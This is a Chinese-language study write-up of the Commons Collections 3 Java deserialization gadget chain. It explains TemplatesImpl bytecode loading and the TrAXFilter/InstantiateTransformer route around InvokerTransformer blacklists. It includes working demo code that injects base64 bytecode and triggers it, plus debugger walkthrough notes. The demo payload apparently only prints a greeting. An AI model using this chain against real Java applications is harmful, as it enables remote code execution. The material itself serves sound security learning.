CC3

TemplatesImpl回顾

CC3的基础就是TemplatesImpl。TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执⾏这段字节码的类构造器。

说实话,这个知识点我有点迷糊😔

回顾一下

这里首先需要了解java的类加载知识,也就是class文件加载到jvm的过程,这个过程分五个步骤:加载、验证、准备、解析、初始化,而我们能控制的只有加载。

java的类加载器有很多,有一个位于jvm内部的引导加载器,还有其他的加载器,甚至用户也可以自定义加载器,除了引导加载器,其他加载器都继承了ClassLoader这个抽象类

类加载的过程也是分很多小步骤的:

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

defineClass 也是这里的重点,CC3其实后半段就是动态类加载,==在defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行==。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇中进行过说明),在defineClass 时也无法被直接调用到。所以,如果我们==要使用defineClass 在目标机器上执行任意代码,需要想办法调用构造函数==。

系统的ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl 的基石。

CC3原理

CC3就是在挖掘defineClass的利用点,这个方法很底层,所以只有一些底层的库会用到他,CC3就找到了这么一个类,下面的链子就是动态加载字节码的链子,之所以这么长是因为需要找到修饰词为public的方法,否则无法调用。

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

p神又给出了demo,是把它CC1demo的命令执行方式套到这个加载字节码上

package com.test.CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        // source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

但是CC3没有使⽤到InvokerTransformer,其实正确的逻辑是这个时间节点出了ysoserial,给java圈子带来一点小小的网安震撼,然后开发者们出了个工具很多反制工具比如SerialKiller,就是把你的利用链加到黑名单里面去,CC1里面的InvokerTransformer就在里面,CC3是新挖掘出一个链子绕过了这个黑名单

image-20240814150225238

CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。

原本我们需要

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };

里的new InvokerTransformer("newTransformer", null, null)来调用newTransformer方法,既然InvokerTransformer不给用了,就去找有没有地方直接调用了newTransformer?

这里就引出了⼀个类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造⽅法中有一句

(TransformerImpl) templates.newTransformer() 

免去了我们使⽤InvokerTransformer⼿⼯调⽤newTransformer() ⽅法这⼀步

但是奇葩的是这是一个构造方法,所以得去找哪里能调用构造方法!

这⾥会⽤到⼀个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。

image-20240814160903117

一切都刚刚好

所以,我们实现的⽬标就是,利⽤InstantiateTransformer 来调⽤到TrAXFilter 的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer() 调⽤到TemplatesImpl ⾥的字节码。

我们构造的Transformer调⽤链如下:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
};

替换到前⾯的demo中,也能成功触发,避免了使⽤InvokerTransformer

调试

直接快进到ChainedTransformer

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里我们输入的参数是这样的

image-20240814162849542

第二次循环调用InstantiateTransformer的transform方法,参数是TrAXFilter对象

我们构造的this.iParamTypes是Templates.class,this.iArgs是new Object[] { obj },也就是要利用的TemplatesImpl对象

this.iParamTypes = paramTypes;
this.iArgs = args;

拿到TrAXFilter对象的构造方法,输入this.iParamTypes也就是Templates.class

然后实例化它

image-20240814163532352

调用TrAXFilter的构造函数,templates就是我们构造的TransformerImpl对象,这里直接调用这个对象的newTransformer()方法,也就是我们前面讲的动态加载字节码的入口

image-20240814163937063

后面就是java动态调用字节码的内容了

0%